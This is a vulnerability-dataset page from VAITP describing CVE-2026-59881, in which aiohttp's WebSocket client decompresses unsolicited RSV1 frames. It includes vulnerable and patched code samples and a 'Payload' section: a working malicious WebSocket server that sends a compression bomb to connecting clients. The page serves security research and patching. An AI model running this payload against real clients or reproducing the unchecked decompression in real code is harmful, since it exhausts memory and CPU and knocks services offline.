VAITP Dataset

← Back to the dataset

CVE-2026-59881

AIOHTTP WebSocket client allows unsolicited frame decompression, leading to DoS.

  • CVSS 6.9
  • 20
  • Input Validation and Sanitization
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.2, the WebSocket client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated, allowing a malicious server to cause unexpected CPU and memory consumption. This issue is fixed in version 3.14.2.

CWE
20
CVSS base score
6.9
Published
2026-07-30
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade aiohttp to version 3.14.2 or later.

Vulnerable code sample

import asyncio
from typing import Tuple

from aiohttp.http_websocket import WSMsgType, WebSocketError


class WebSocketReader:
    """A simplified representation of aiohttp's WebSocketReader."""
    def __init__(self, ws_protocol):
        # In the real library, ws_protocol holds compression state.
        self._ws_protocol = ws_protocol

    async def _read_frame_header(self) -> Tuple[bool, int, int, int, int, bool, int]:
        """Simulates reading a frame header with the RSV1 bit set."""
        fin, rsv1, rsv2, rsv3, opcode = True, 1, 0, 0, 1
        has_mask, length = False, 128
        return fin, rsv1, rsv2, rsv3, opcode, has_mask, length

    async def _read_frame(self) -> Tuple[bool, int, bytes]:
        """Reads and processes a single websocket frame."""
        fin, rsv1, rsv2, rsv3, opcode, _, length = await self._read_frame_header()
        payload = b'\x00' * length

        if rsv2 or rsv3:
            raise WebSocketError(
                WSMsgType.CLOSE, "Received frame with non-zero reserved bits"
            )

        # VULNERABLE: The RSV1 bit is processed even if compression was not negotiated.
        if rsv1:
            # This will attempt to decompress data, leading to resource usage.
            payload = self._ws_protocol.decompress_frame(payload, fin)

        return fin, opcode, payload

Patched code sample

import asyncio
from typing import Tuple

from aiohttp.http_websocket import WSMsgType, WebSocketError


class WebSocketReader:
    """A simplified representation of aiohttp's WebSocketReader."""
    def __init__(self, ws_protocol):
        # In the real library, ws_protocol holds compression state.
        self._ws_protocol = ws_protocol

    async def _read_frame_header(self) -> Tuple[bool, int, int, int, int, bool, int]:
        """Simulates reading a frame header with the RSV1 bit set."""
        fin, rsv1, rsv2, rsv3, opcode = True, 1, 0, 0, 1
        has_mask, length = False, 128
        return fin, rsv1, rsv2, rsv3, opcode, has_mask, length

    async def _read_frame(self) -> Tuple[bool, int, bytes]:
        """Reads and processes a single websocket frame."""
        fin, rsv1, rsv2, rsv3, opcode, _, length = await self._read_frame_header()
        payload = b'\x00' * length

        # FIX: Reject frames with the RSV1 bit if compression is not enabled.
        if rsv1 and not self._ws_protocol.compress:
            raise WebSocketError(
                WSMsgType.CLOSE,
                "Received frame with rsv1 set while permessage-deflate is not enabled",
            )

        if rsv2 or rsv3:
            raise WebSocketError(
                WSMsgType.CLOSE, "Received frame with non-zero reserved bits"
            )

        if rsv1:
            payload = self._ws_protocol.decompress_frame(payload, fin)

        return fin, opcode, payload

Payload

import asyncio
import hashlib
import base64
import zlib

async def handle_client(reader, writer):
    try:
        request_data = await reader.read(4096)
        headers = {
            line.split(":", 1)[0].lower(): line.split(":", 1)[1].strip()
            for line in request_data.decode("utf-8", "ignore").split("\r\n")[1:]
            if ":" in line
        }
        client_key = headers.get("sec-websocket-key")
        if not client_key:
            return

        accept_key = base64.b64encode(
            hashlib.sha1(
                client_key.encode() + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
            ).digest()
        ).decode()

        response = (
            "HTTP/1.1 101 Switching Protocols\r\n"
            "Upgrade: websocket\r\n"
            "Connection: Upgrade\r\n"
            f"Sec-WebSocket-Accept: {accept_key}\r\n\r\n"
        )
        writer.write(response.encode())
        await writer.drain()

        bomb_payload = zlib.compress(b"\x00" * (100 * 1024 * 1024), -15)

        frame_header = bytearray([0b11000010])
        payload_len = len(bomb_payload)

        if payload_len <= 125:
            frame_header.append(payload_len)
        elif payload_len <= 65535:
            frame_header.append(126)
            frame_header.extend(payload_len.to_bytes(2, "big"))
        else:
            frame_header.append(127)
            frame_header.extend(payload_len.to_bytes(8, "big"))

        writer.write(frame_header + bomb_payload)
        await writer.drain()

    except (ConnectionResetError, BrokenPipeError):
        pass
    finally:
        if not writer.is_closing():
            writer.close()
            await writer.wait_closed()

async def main():
    server = await asyncio.start_server(handle_client, "0.0.0.0", 8765)
    async with server:
        await server.serve_forever()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        pass

Cite this entry

@misc{vaitp:cve202659881,
  title        = {{AIOHTTP WebSocket client allows unsolicited frame decompression, leading to DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59881},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59881/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::